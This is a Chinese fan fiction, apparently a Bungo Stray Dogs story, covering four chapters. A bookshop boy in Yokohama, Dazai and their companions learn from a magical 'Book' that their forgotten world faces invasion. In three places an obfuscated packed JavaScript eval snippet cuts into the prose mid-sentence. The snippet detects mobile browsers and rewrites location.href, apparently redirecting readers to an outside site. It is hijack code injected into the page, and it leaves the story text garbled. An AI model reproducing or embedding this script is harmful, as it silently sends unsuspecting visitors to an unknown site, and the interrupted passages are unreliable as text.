《成为天五宰的走狗之后》 1. 001（小修） 【第一章：劣质又无聊的世界】 这个世界有问题。 问题还很大，樱真月靠在书店收银柜边，郑重的做出结论。 不知道第几个神情麻木的路人从书店门前经过，但完全没有人将注意力放到刚步入少年期的收银员身上，就匆匆奔向不远处的战场。 当然，如果仅仅是神情麻木，那并不能证明路人有问题，毕竟这里是擂钵街。 擂钵街是横滨最混乱的地方。四年前，一场爆炸将临近海岸的富人区摧毁，此后爆炸后的凹地就变成无人管辖的三无地带，被人们称为擂钵街。混乱会滋生暴力，暴力会摧毁秩序，擂钵街的人们为了生存变得麻木一点也很正常，但，不正常的是，他们麻木的神情一模一样，偏差值不超过一个像素点。 不仅路人甲与路人乙的麻木一模一样，今日的路人甲与昨日的路人甲麻木的也一模一样，简直像劣质游戏里，复制粘贴的不重要NPC。 当然，也有重要的NPC，就比如他店里这几个。 樱真月将目光移向书店内，一排排的书柜间隙里，披着防寒披风的俄罗斯少年一目十行的阅读，旁边跳脱的白毛小丑做着浮夸的动作，发出叽叽喳喳的提问；窗边的阅读区里，还有不知道在发什么呆的侦探少年望着窗外，虽然年龄都不大，但三个人的建模精致程度一看就吊打路人甲——这是他愿意花时间，把他们捡回来的次要原因。 主要原因是，他希望能在这个无聊的世界，给他家太宰找几个有趣的同类。 不过，必须要声明的是，这几个家伙一点都不有趣，因为把他们捡回来的过程里，阿治非但没有增加居家时间，反而更早出晚归了。 所以说，这几个家伙真是一点用都没有！ 切！ 樱真月嫌弃的瞥了一眼，然后拉开藏在收银台下的保温柜，拿出温度正好的加奶咖啡和梅子饭团摆到柜台上，下一刻，一个人影穿过转角，走进店里。 樱真月一改嫌弃，笑眯眯的打招呼：“中午好，今天的天气还不错吧。” 没有回应。 迈入的脚步很轻，带着水渍的黑色风衣披在肩膀上，衬得少年的身形无比单薄，走进书店的太宰恹恹的抬头，露出缠着绷带的右眼，他的表情很淡，甚至还带着点阴郁。 午后的阳光铺照在脚下，不算大的书店完全收入眼中，目之所及都是老熟人，阅读区的江户川乱步，书柜边的费奥多尔和果戈里，还有……掀起的鸢眸定格在收银台前，柔软的粉发被扎成高马尾，马尾的主人一如既往的微笑着。 不管是谁，不管从哪个角度讲，他的笑容都没有一点亲和性，甚至因为好看的五官过于凌厉张扬，反而透出几分难以言喻的邪性——邪性中还带着少年人特有的青涩感，和街道外麻木恐慌的流浪儿截然不同，是能被人贩子列为精品的存在。 不出意外的话，这样的精品一旦孤身走上街道，不超过五分钟就会被盯上。不过实际却是，横滨没有哪个人贩子能给他套麻袋。 四年多前，在鹤见川里，他被对方一竿子钓起来的开始，他就知道这一点。 那是一个黄昏，横滨的街道即将群魔乱舞，远远的已经能听到巷战的子弹轰击声，刺骨的河水将他包裹，带着他沉入水底，奔赴心心念念的黄泉比良坂，然而，飘忽的意识还没散去，一股巨大的拉扯力将他吊起来。 如血的微光，入目是一个蛋糕，蛋糕上点着形状是‘8’字的蜡烛，蛋糕旁边有两坨湿漉漉的，刚从河里钓上来的垃圾，仿佛樱霞的粉发在空中扬起，举着钓竿的小鬼惊奇的哦呼一声，粉眸如寒星亮起：“第三杆，爆SSR了！这就是河神大人送我的生日礼物吗？” 彼时，同样年仅8岁的太宰：“？” 横滨人都不太正常，爆SSR这种话，他能理解，但生日礼物是什么鬼？ 向河神许愿这种事情，只有没脑子的笨比幼稚鬼才会做……嘲讽的话还没来得及说出口，他就看到，举着钓竿的幼稚鬼歪头一笑，抽卡人的黑气就散发了出来。 “虽然前两杆钓出来的都是垃圾，但还好第三次真的有礼物呢，不然，我就要去上游给鹤见川改个河道了呢。” ？ 鹤见川？ 改河道？ 被鱼竿钓在半空的太宰：“……” 这句话怎么看都不像是在开玩笑。 太阳彻底沉入地平线，子弹爆头的声音已经蔓延到附近，那是横滨最常见的交响乐，鸢色的眼眸停在鱼竿的另一头，对面的粉毛幼稚鬼没有一点恐惧。 因为流浪的经历，他对危险信号有着敏锐的感知，他很清楚独自生存的孩子会遇到多少危险，所以，这个幼稚鬼绝不是普通人。 是异能者？ 攻击型的异能者？ 鸢眸垂了下来，虽然很想拥抱死亡，但被人打死一看就很痛，太宰保持着沉默，然后被带回家，被放进浴缸洗了澡换了衣服，还吃了一顿热腾腾的拉面，最后，被塞进温暖的被子里。 冷风从窗外呼啸而过，没脑子的幼稚鬼就躺在他的旁边，边上还有一本摊开的故事书——这家伙兴致勃勃的说要给他讲睡前故事，然后，自己把自己哄睡了。 笼罩在床头灯的暖色微光里，他原本可以判断出很多信息，比如这是一个很普通的居民区，比如这个粉毛小鬼是一个人独居，性格垃圾，自我意识过剩……但，与以往任何时候都不同的温暖顺着皮肤浸透，他就像被强酸腐蚀的尸体，信息在脑海里混杂，他没办法整理更多有用信息。 抱着他像抱着布娃娃的垃圾幼稚鬼熟睡中翻了个身，从他的左边翻到他的右边，关键是完全没有要醒来的征兆…… 噫！ 毫无睡意的鸢眸黑泥翻涌。 恶心！ 从诞生名为‘自我’的意识开始，从他逃离死气沉沉的腐朽家庭后，他就没和人类靠这么近过，所以第二天天没亮，他就跑路了。 然后，被NPC一样的人贩子抓走了。 横滨从来不是什么和平的地方，这里混乱不堪，善良被踩在脚下，唯有掌握暴力的人能生存下去，而他没有凶悍的异能力，也没有枪支弹药，只有灵活的脑袋，然而，自救的计划还没成型，樱真月就提着胁差，当着他的面，一个人单挑了一个黑恶势力。 被绑在一群孩子中间的太宰：“……” 难怪这个粉毛幼稚鬼敢一个人在鹤见川钓鱼。 横滨从来不缺异能者，但是能做到单挑黑恶势力的也没几个，嘛，像对方这样的人确实有横行的资本，太宰漠然的评价。 然后，他又跑了第二次。 粉毛幼稚鬼又单挑了一个黑恶势力。 第三次。 第四次…… 不知道第几次被带回家，被塞进洗澡穿衣服后，他站在房间的阴影里，阴郁的表达自己的困惑。 彼时的樱真月还没有开书店，临街的二层居民楼不算大，住处除了玄关区就是一个大通厅，后边还有个隔出来的厨房，樱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299563|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真月正在厨房里煮拉面。 “为什么会知道你在什么地方吗？”樱真月从厨房探出头，“其实不知道哦，我只是知道横滨每个暴力组织的位置而已，只要一个个扫荡过去，就一定能够找到你啊。” 太宰：“……” 太宰：“？” 热腾腾的拉面摆到面前，穿着围裙的樱真月坐到对面，完全看不出在一个小时前，他刚把横滨黑恶势力一锅端了。 “啊，对了，”樱真月合掌微笑，粉色的头发在空中晃了晃，“我们是不是忘了自我介绍，我的名字叫樱真月，你呢？” 太宰：“…………” 就这样，四年过去了。 时至今日，他已经习惯时不时回书店晃悠一圈，因为他不回来的话，这个不正常的粉毛幼稚鬼就会提着胁差，像打劣质的通关游戏那样，把横滨从头到尾扫荡一遍。 虽然横滨已经很混乱了，黑暗滋生的暴力团伙总是一个接一个的出现，像无限制刷新的游戏副本，但这种浪费资源和生命力的事情还是算了吧。 反正，无聊的世界也不会改变。 午后的书店没有客人，食物摆在柜台上，加奶的咖啡还冒着热气。 刚入水结束，还没来得及吃早饭的太宰端起咖啡，但把饭团推远：“为什么要叫我回来？打断别人追求理想的行为可是是世界上最垃圾的行为，额外一提，为什么这三个人也在这里，特别是那个戴防寒帽的，因为他，感觉空气质量都变差了。” 没有一点犹豫，樱真月又把饭团推回去：“这样吗，那一会儿把他卖了。” 被点名的费奥多尔耳朵一抖，依旧还两耳不闻窗外事，只是阅读进度又快了一倍——没办法，其他地方没有书。 在横滨这种地方开书店，简直是脑子有坑！ 噗的一声，果戈里浮夸的抱着肚子笑出眼泪：“哈哈哈，费佳，这已经是你这个月第三次被小真月卖给人贩子了。” 费奥多尔：“……” 被攻击的费奥多尔连头都没抬，继续翻页：“三次里，有两次你是附赠品。” 所以，你在高兴什么？ 果戈里：“……” 阅读区发呆的乱步眼睛一转，选择落井下石：“不过，费奥多尔也卖了太宰两次，我看见了。” 他可是亲眼、近距离的目睹整个事情的经过，至于为什么是近距离，大概是因为他也是参与者。 嘛，这个愚蠢的世界，周围全是怪物，只有他孤零零的游荡在其中……幽深的郁色沉积在碧绿的眼睛里，落井下石带来的高兴一闪而过，甚至带不出微薄的涟漪，就消失不见了。 一直待在书店，并不知道同伴们外出游荡的日子里都在互相发卖的樱真月吃了一惊：“还有这种事？” 但，话又说回来，卖别人就算了，卖太宰是何意呢？ 樱真月转过头，视线略过啃饭团的太宰，最终锁定在费奥多尔身上。 费奥多尔：“…………” “好吧，”费奥多尔耸耸肩，他合上手里的书，“事已至此，我知道书店三个月没开张了，如果非要再一次卖掉我补贴家用，那至少让我带上这本书。” 樱真月：“……” 挑拨离间结束，太宰自给自足地探身，从收银柜里侧抽出纸巾擦手：“所以，为什么叫我们回来？” 停住给人贩子拨号的手，樱真月抬起眼眸： “啊，其实也不是什么大事，就是‘书’上出现了一行字——” 2. 002（小修） 【第二章：为何在此诞生‘我’】 ‘书’，一个异能制品，号称可以实现任何写在其上的愿望，只要符合逻辑——这是对外的说法。 实际上，‘书’只是无限多的平行世界折叠在一起的总和。[1] 众所周知，平行世界的诞生是关键的人，在关键的时间节点，做出关键的选择，无数多的选择造就出无数多的世界，每一个世界在诞生之时，都会被观测被记录，而后装订成‘书’。 ‘书’的每一页都是一个世界，世界不停的发展、延伸。 但是，资源是有限的，所有的世界都已经被记录在册，如果有两个世界因为‘选择’走上同样的道路，那就必然会产生融合和覆盖。 所以，与其说是在‘书’上书写愿望，不如说是从无数多的世界里，选择了一种进行自我毁灭。 他们的世界本来也应该如此。 应该和其他的世界一样，在诞生的那一刻加入到这场发展和融合之中，然而，因为不知名的原因，他们的世界在诞生的那一刻被‘遗忘’了，没有‘关键的人物’在‘关键的时间’做出‘必要的选择’，因为没有选择，所以没有走上必然的道路，然后被其他世界覆盖吞并，而是像卡BUG一样，延存至今。 因此，作为‘书’的拥有者，樱真月在得知这个事实后，没有一点犹豫，把‘书’塞进桌底，用来垫桌脚了。 大概是因为一张平稳的桌子下垫着一本书很可疑，太宰加入这个家后，正大光明的摸出来看了一眼，然后又塞了回去，然后是江户川乱步、费奥多尔、果戈里……嗯，没错，它被用来垫了五次桌脚。 直到今天早上，起床开店的樱真月发现桌脚垫着的‘书’发着光。翻开一看，发现，代表着他们的世界的扉页，由空白变得密密麻麻写满了字。 樱真月费心读了一下，总结起来就一句： 在他们不知道的时候，有一个世界因为玩大了把自己的世界搞崩了，现在要入侵他们的世界，掠夺他们的土地，抢占他们的资源，奴役他们的老婆…… 樱真月：“？” 奴役老婆可还行！ 皱着眉，樱真月掏出手机。 再然后，就到了现在，距离午后的书店集合已经过去三个小时。 这段时间里，他们点了一个丰盛的豪华下午茶，一边吃一边用前一百七十分钟彼此攻讦、互相打压，最后再用十分钟商量了一下这个破烂世界还有没有救。遗憾的是，因为大家都有自己的想法，十分钟里谁也没能说服谁，于是原地解散，樱真月再次拿起手机，拨号人贩子，成功把费奥多尔和果戈里卖出去。 顺便把看热闹的江户川乱步也卖了。 等到黄昏降临，依旧没卖出一本书的书店重新安静下来，但樱真月丝毫不慌，拿着卖队友的巨额款项，外出采购晚餐。 当樱真月带着晚餐返回到书店时，书店已经关门了。他回到二楼，不意外地看到河水浸透的黑色风衣外套被丢在一边，太宰靠在窗边翻看‘书’——也就是一开始，费奥多尔在书柜边看的那本。 虽然世界不同，但费奥多尔和他的无数同位体一样，贼心不死，励志拿到书创造一个绝无仅有的世界，不过他自己也很清楚，在理想世界被创造之前，为了安全起见，‘书’是绝对不能离开樱真月的保护范围的。 太宰翻书翻得快，樱真月把外套捡起来放进脏衣篓时，他已经把整本书看完了。 “怎么样？” 樱真月一边问，一边把晚餐摆到桌上。 “超无聊。” 太宰嫌弃的把‘书’一丢。 “这样的话，先来吃完饭吧，今天是你超喜欢的蟹肉料理哦！”樱真月合起手掌，弯起的眼睛透出甜腻的温柔感，“外面的天气还有点冷，呐呐，我们吃完饭一起泡个澡，然后一起睡觉吧！” 世界毁灭已经近在眼前，但他的神情里看不出一点在意。 那双如寒星亮起的粉眸里，一如既往的，只装着一个倒影，纯粹的关注和热爱都不吝啬，浓烈又坚决，让人无法排斥——太宰也没办法排斥，因为不管笑得多温柔，樱真月的本质都不是一个讲道理的人。 但是，被全心全意的注视着，他也并不为此感到高兴，太宰垂下眼眸，掩盖一闪而逝的情绪。 世界上的所有东西，在得到的同时也意味着失去，更不用说他们立足的是一个海中浮沫一样脆弱的世界。 “好恶心啊。” “这算是夸奖吗？”樱真月把刺身专用的醋碟递到太宰手边。 “完全不是，请不要自顾自的高兴起来。” 夜风吹过窗台，远远带来了横滨特有的子弹鸣奏曲，暖色调的灯光自头顶倾落，樱真月说：“好吧，那真遗憾。还有什么是我能做的吗？你今天看起来不太高兴啊。” 不然，他也不至于卖费奥多尔的同时，反手把果戈里和乱步一起卖了。 “能做的？”鸢眸一侧，吃着蟹腿刺身的太宰敷衍道，“那么，你去把试图入侵我们世界的渣滓处理一下吧。” 我们两个字取悦到了樱真月，粉色的眼眸重新亮起。 “可以哦~如果这是阿治的愿望，那我可以把那些人都干掉，但是，就像午后会议里说的那样，就算把入侵者全都杀掉，我们的世界也依旧是一个没有未来的世界。” 因为被遗忘，所以脆弱；因为脆弱，‘书’页中记录的任何一个世界都能轻而易举地将他们覆盖吞噬。 太宰一顿，无法再隐藏的阴郁从眼眸深处流溢而出。 会被覆盖，会被吞噬——这是看过‘书’的五个人都知道的事实，他们比任何人都清楚这个绝望的事实。 但是，知道又能怎么样呢，他拿着书会变成首领宰，不拿书会变成武侦宰，书页记录了他所有的未来，他有什么办法能在这个腐朽氧化的世界里，成为他自己？ 说实话，他对这个世界也没有太多眷恋，压抑、绝望，这里的人麻木、疯狂……但人类无法克制恐惧，如果不清楚不了解，那什么结局他都能坦然接受，弱肉强食的规则下，脆弱的世界本来就会消亡，但是，他不明白的是，既然脆弱的世界注定走向灭亡，那他又为何在此诞生为‘我’？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299564|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他为何要像水沟里寻觅的野犬一样，孤独的求索‘生存’的意义？ ‘活着’这种事情到底有什么意义……翻涌的黑泥几乎要将人淹没，就在那一刹那，一股推力越过小桌，猝不及防的，一下将他推到在榻榻米上。 天地倒转，温暖的灯光落进眼底，生长期的少年身躯很单薄，压在身上也没有压迫感，仅有的温暖从皮肤交叠处传来，颈窝上毛茸茸的脑袋有一下没一下的蹭蹭蹭。 “没关系的，没关系的……” 温柔的声音贴着耳朵震动。 柔软的粉发落到脖颈的绷带上。 太宰侧了侧头，“好恶心。” 就像没听到，樱真月更紧的抱住他，和过去一样抱住自己仅有的宝藏，托举他无限坠落的灵魂。 “我只要能和阿治待在一起，世界毁灭也完全没关系哦。不过，因为阿治是最重要的存在，所以无论是谁，只要是你希望的，我就会不计代价把他们通通杀掉的哦~” 含纳笑意的少年嗓音变得更温柔，甜甜的，像在蜜糖里裹了一圈。 空气仿佛因他变得温柔起来。 太宰沉默了。 太宰没忍住，一抬脚把人踹了出去。 耷拉的黑发和缠绕的绷带形成鲜明的对比，他凉薄的掀起眼皮，“都说了，很恶心。” 说完，也不等樱真月反应，就站起身，朝着门口走去。 新换上的黑色风衣在空中划出一道痕迹，温柔的甜腻顷刻褪尽，被踹飞的樱真月懒洋洋的趴在地板上，目光追随着往外走的步伐：“欸——阿治，这么晚了还要出去吗？大晚上不睡觉会长不高的哦~” “嗯嗯嗯……”太宰懒得接这种垃圾话，拉开门走出去，也拖长语音，“多谢款待。” 不知道是指豪华的蟹肉料理还是别的什么。 重新阖上的门隔绝寒冷的夜风。 不知道过了多久，趴在地上的樱真月才慢悠悠的起来，就地靠着墙盘腿坐下，一边顺手把散落的长发撸到脑后，一边愉快的嘀咕，“踹人越来越痛了呐，也不知道跟谁学的……” 反正不会是他自己。 自我感觉良好的樱真月非常自信，他拍拍身上不存在的尘土，把披散的头发重新扎成马尾，又喝了一口水，才慢吞吞地把桌上的食物残渣打包好，拎出门。 垃圾收集站距离住处不远，丢了垃圾，返程的路上，夜风吹过，三两点寒星高挂，河岸边的早樱纷纷扬扬的落下，樱真月难得有兴致仰头看了两眼，脚下的步伐停驻，等再次抬起，迈开，落地，一束微不可查的微光顺着落点没入大地，就像某种不可言说的规则。 与此同时，被夜风裹挟的樱花瓣落入泥泞的街道里，扛着枪的恶徒们列队跑过。 随后，密密麻麻的枪声再次响起。 在枪火覆盖的地方，一个不知道地点的阴森寒冷的牢笼里，脚步声靠近，又走远，被发卖的费奥多尔兴致盎然的勾起唇角，和对面的笼子打招呼： “啊，太宰君，好久不见了呢~” 两双眼眸在黑夜里对视。 3. 003（小修） 【第三章：四个不回家的人。】 第二天，朝阳再次升起。 碧澄的天空，海浪拍击着礁石，留下苍白的浮沫。 在黎明的短暂沉寂中，沿海而建的城市再一次苏醒，高耸的CBD大楼一成不变的矗立着，红绿灯交换亮起，衣冠楚楚的人们穿过繁闹的市中心，一切都井然有序，只有阳光照不到的昏暗角落还飘荡着散不去的血腥气。 醒来的樱真月赖了十分钟床，确认太宰一整晚都没回过家后，又在榻榻米上滚了一圈，艰难地爬起来洗漱。 他不是极度自律的人，所以下楼出门已经半个小时之后的事情了。 因为是商住一体楼，除了前排的书店大门，后边还有一个能直接通往二楼的玄关，从玄关出来又恰好遇到了那位麻木的路人甲，路人甲带着一身火药气并没有死在昨晚的枪战里，樱真月很高兴地和他打招呼，还问他的名字。 在需要一命通关的世界里，路人甲可是消耗品，一个麻木路人甲领了便当就会很快出现第二个麻木路人甲，能活过两天的路人甲很少见。 可惜麻木的路人甲依旧很麻木，只是扫了他一眼，甚至没有思考路过的少年为什么要问他的名字，连脚步都没偏移的，就像不重要的NPC一样，麻木又警惕的往前走。 再往前是一片低矮的居民区。 虽然同样在擂钵街，但有别于擂钵街中心的低矮木棚，他脚下这片地区处在边缘地带，看着饱经风霜，但还算完整，不仅有居民区，还有便利店、小餐馆之类的基础生活设施，甚至还有一家书店——虽然这三个月，上三个月，上上三个月他都没能卖出一本书，不过樱真月觉得这不是他的问题。 错的不是他，是横滨人！ 横滨人根本就不喜欢读书！ 很快的，没礼貌的麻木路人甲转进居民区，消失不见了。 樱真月也不计较，头上的马尾晃了晃，虽然留着长发，但他扎头发的水准实在很糟糕，还没走出巷子，高马尾已经松松垮垮了，他也没管，顺着再次交换亮起的红绿灯穿过十字路口。 随着太阳升起，横滨的街道一尘不染，完全看不出昨夜经历了什么血腥洗礼——要知道，昨晚不仅太宰没回家，连费奥多尔、果戈里、乱步全都没回家。 他的书店很小，只有两层，二层勉强能供他和太宰住，但书店后面的巷子里，连排自建居民楼都是他的，费奥多尔、果戈里、乱步都挑了一间落脚，就连太宰也挑了一间，用来搞他的情报工具小发明，早上出门的时候，他特意往后看了一眼，确认四个人都没回来过。 也不知道去玩什么了，玩得开不开心。 但能让他们玩起来的东西也不多。 昨夜后半夜整，片街区可都是枪战火并的声音，他被吵醒了两次，然后翻个身又继续睡着了，不是不担心太宰，而是相比担心太宰，可能更需要关心的是那群参与火并的黑恶势力。 太宰一直嫌弃他动不动把横滨犁一遍，但实际上，他自己，包括乱步、果戈里和费奥多尔，无论哪一个都能把横滨犁一遍。 果戈里是跟他一样武力碾压，而太宰、乱步和费奥多尔，他们两三句话就能让路人甲们前赴后继的送死。 当然，如果太宰愿意的话，其实他也十分愿意让太宰指使着把横滨犁第六遍，但奈何太宰不怎么愿意。 渐渐长大的太宰只会一脚把他踹到墙上，抠都抠不下来那种。 真是的，明明小时候很可爱的……好吧，现在也很可爱，无论怎么样都很可爱，就是不知道什么时候学会了冷嘲热讽，再然后发现昂着头的冷嘲热讽只会让他更爽之后，就上脚踹，不过一开始，太宰只能踹一米，现在能踹五六米了，这怎么不算是他养得好呢？ 穿过十字路口，又走进巷子里，樱真月来到了此行的目的地：一家餐馆。 这是他的御用早餐店。 因为生活习俗，横滨这个地方是基本没有早餐店的，绝大多数人都会在家吃，或者去便利店买饭团、泡面和关东煮；而在他们家，如果太宰在家，那他就会早起做个丰盛的早餐，如果是乱步在家，那他会就近点个宅急便，如果是果戈里在家，他会指使果戈里跑腿，如果是费奥多尔在家……那他会让费奥多尔自力更生，顺便也帮忙解决他的早餐问题。 当然，如果他们都不在家，那他就会到这里来。 这是一家家庭餐馆，老板是一个近中年的夫人，十分擅长厨艺，解决了他们五人的日常生存问题。 进屋落座，老板端着一杯冰水过来，问：“早上好樱君，今天晚了半个小时，又赖床了吗？今天早上的菜单是拉面和特色三明治。” “那就来一份拉面吧，”樱真月为自己辩解，“才不是赖床，是昨晚没睡好，枪声可是很打扰少年人的睡眠的。” 他这么说着，老板就像被触发了什么程序一样，立刻露出忧愁的表情：“是呢，最近的局势好像很混乱，二番街的几个组织一直在争夺地盘，听说很多孩子都不见了，还有好几个戴着蓝色的腕带。” 整个擂钵街，会戴着蓝色腕带的只有‘羊’的成员。 樱真月有点惊讶，但不太多：“是吗？除此之外，还有什么奇怪的事情发生吗？比如见到了什么奇怪的人？” 本质上，他并不关心世界的发展。 这个世界会因为什么选择走上什么道路，这种废脑子的事情太宰、乱步和费奥多尔，甚至是果戈里都比他考虑得多。 当然不是完全不关心，他关心太宰。 他对太宰从来不撒谎的，就像他所说的那样，任何给太宰造成伤害的存在，都一定会被他毫不留情的杀死。 “奇怪的人？”老板露出茫然的神情，思考了几秒，摇头说，“并没有什么奇怪的人，抢地盘的事情时有发生，不过昨天晚上的战火格外激烈，也不知道是不是跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299565|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那几个失踪的孩子有关系。” 老板又忧愁的叹了一口气，才去给樱真月端上一份拉面。 吃饭的过程里，老板都没再说话。 樱真月拿着手机给太宰发邮件，但太宰没回，他想了想，又让老板打包了五人份的三明治和纯牛奶。 离开餐馆，照进巷子的温暖日光将影子拉得很长，因为年纪小的关系，他的身影单薄到看起来人畜无害的，樱真月朝着巷子外走，才走两步，就看到一个裹着黑色高领长外套的人走进巷子。 来人戴着黑色的帽子，阴影覆盖眼睛，让人无法看清他的表情，他沿着巷子走，走到樱真月旁边忽然停下来，用低哑的声音询问：“请问，你知道红房子怎么走吗？” 是此前没见过的人，樱真月露出一点恰到好处的困惑：“红房子？” “嗯，应该是红房子……我忘记了。” “这样啊，”樱真月应和，“是很久没去过，所以忘记了吗？” 周遭的空气倏忽一冷，樱真月能感觉到他被什么东西打量了一眼，那是浓重的血腥气带来的压迫感，视线的方向是背后，他仰头回望，一刹那，面前的黑衣人身体突兀地一晃，像是意识恍惚引发的不良反应。 他重复的问：“请问，你知道红房子怎么走吗？” 身后的视线已经消失了，樱真月顿时索然无味。 不过，就算这样，他对这个拥有太宰的世界依然有着很大的包容心。 “不知道哦，你要是着急的话，可以去那边找人问一问。”樱真月一边走，一边不在意的摆手，“不过，没有具体的门牌号大概问不出什么，这时候记得保持心情平静，千万不能做出什么不好的事情哦。” 愉快的语气里充满危险，但一个十一二岁的少年，说出这种话，一点威胁性都没有。 黑衣人理所当然的没能给出回应，直到樱真月离开，远远的将巷子抛在身后，他才一点点抬起头，露出的一张极其平凡的脸，和一双带着惊恐的眼睛。 樱真月要去的地方并不远，就在隔壁二番街——昨夜的火并中心。 那是一片无人的仓库区，靠近出海港，很适合作为非法组织的基地，樱真月记得，他昨晚就是把费奥多尔果戈里乱步打包卖到这里，不过现在，这个基地里没有扛着枪的黑手党，只有浓郁的血腥气息盘绕在鼻尖。 看来，在他不知道的时候，昨天的火并真的很混乱。 樱真月走进去，脚步声在布满新鲜弹孔的空旷过道里回荡，走到深处才在堆满集装箱的地方看到太宰一行人。 抱着帽子坐在集装箱上的乱步已经跳起来，大声抱怨：“太慢了，小真月！” “嗯嗯嗯，”樱真月应了一声，粉眸带着笑意，光线透过屋顶，明明灭灭的落在四人身上，“所以，一晚上的时间，你们得出结论了吗？” 真的，有人意图侵入他们这个被遗忘的世界吗？ 4. 004（小修） 【第四章：一个不错的好消息。】 浓郁的血腥气无处不在。 分坐在不同的集装箱上，五人吃着早餐。 距离‘书’给出提示，已经过去二十四小时，说长不长，只够樱真月吃个晚饭睡个觉；说短不短，太宰和费奥多尔他们已经把一个黑恶势力玩没了。 虽然说，在得知他们脆弱的世界将要被入侵，土地将要被掠夺，资源将要被抢占后，他们只商量了十分钟，情绪起伏程度甚至不如晚饭喝到劣质的味增汤——毕竟‘励志拯救世界的热血少年’里，他们只占了‘少年’两个字。 但话又说回来，毕竟是他们自己的世界，总不能直接白给吧。 白给多丢人啊！ 所以，就变成了现在这个样子。 完全没有参与火并，但并不是什么笨蛋，樱真月凭借几年来对同伴的了解，他不用思考都能猜到发生了什么： 一般来说，聪明人都多疑，像太宰和费奥多尔这种尤甚；在得到‘书’的提示之后，他们必然会做的事情是质疑和收集情报，只有收集到足够多的情报才能得出论证，他把费奥多尔卖掉就是一个契机。 所以，太宰才会大半夜出门。 所以，他们四个才会一夜未回。 从周围的火并现场和家庭餐馆老板娘的话来看，昨夜的混乱并不简单，除了人贩子集团，还有‘羊’的参与。 ‘羊’是擂钵街有名的未成年互助集团，起源于一群少年为了抵抗掠夺、斗争和人贩子而成立的自卫组织，戴着标志性的蓝腕带，贯彻的方针是人不犯我我不犯人——在横滨这样的地方，能喊出这样的口号当然不是靠正义，他们靠的是‘羊之王’，拥有强大的异能的中原中也。[2] 在擂钵街，没人不知道中原中也的名字，任何侵犯‘羊’的人都必将遭受他超乎想象的反击，那么，问题来了，那群人贩子为什么这么想不开要绑架‘羊’的成员呢？ 总不能是夜黑风高，没看到对方戴着蓝色的腕带吧？ 又或者，得到了什么强大助力，觉得自己能跟‘羊之王’，未来的重力使中原中也掰掰手腕？ 樱真月思索了一下，转头看向离自己不远的乱步。 乱步都啃完三明治，没吃饱，伸手。 樱真月把热牛奶塞给他。 “……”切了一声，不情不愿的乱步开始喝牛奶，一边喝一边回答，“没有什么强大的助力，那就是一群很普通的人贩子。” 在横滨，人贩子总是一茬接一茬的，像割不尽的韭菜。相比于顶着时不时踢到铁板的风险，去贩卖会哭会闹会反抗的人，一般有些名气的非法武装组织会更愿意走私武器，抢夺地盘和收取保护费，只有彻底丢掉底线的凶恶之徒才会去贩卖人口。 所以，樱真月卖费奥多尔卖得一点都不心虚，反正费奥多尔会出手。 这怎么不算一种替天行道呢？ “虽然这群人贩子借着诱拐贩卖孩子的暴利，在横滨飞快壮大，发展成为不容小觑的武装势力，但还远不到能和羊之王叫板的程度，按照我们已知的情报，这个人贩子组织甚至会有意识的避开‘羊’的成员，但在被绑架的孩子里，确实是有‘羊’的成员。” “啊，”樱真月下定论，“也就是说，‘羊’自己绑架了自己。” “嗯。” “那可真是糟糕啊。” 集装箱四周的弹孔还是崭新的，隐蔽的角落还能看到遗落的弹壳，就算没有参与也能想象到，在旋转的枪林弹雨里，奉行人不犯我我不犯人的羊之王是怎样雷霆反击——如果没有意外，这完全是可以被当做‘故事开头’的存在。 先不提‘羊’自己绑架自己的缘由，撇开还没有露面的入侵者，别忘了，他们的世界是一个在诞生之初，就被遗忘的世界。 在‘书’的记录里，以羊之王的怒火为开端的世界有几百上千个，他们的世界一旦以此开篇，被卡住的BUG消失，世界的中心会转移到‘中原中也’身上，然后不停演变，直到被覆盖成‘书’的某一页——以他们世界的脆弱程度，只有被别人覆盖的份。 闲散的气息一瞬间消失，樱真月侧过头，望向擂钵街的方向。 乱步知道他在想什么，他把最后一口热牛奶喝掉：“清洗‘羊’的可能性太低了。” “可能性很低，但不是不可能，”樱真月眨了眨眼，语气很真诚，“我能杀死羊之王。” 作为重力攻击型异能，‘污浊了的忧伤之中’确实很强，但是越是强力的异能对上他就越是被压制。 “那样做的话……” 手上一重，吃了一半的三明治被卷吧卷吧塞回他的手里，樱真月侧过头，就看到太宰不知道什么时候走到他的旁边，垂下鸢眸黯淡阴沉。 “那样做的话，脆弱的世界只会变得更脆弱。” 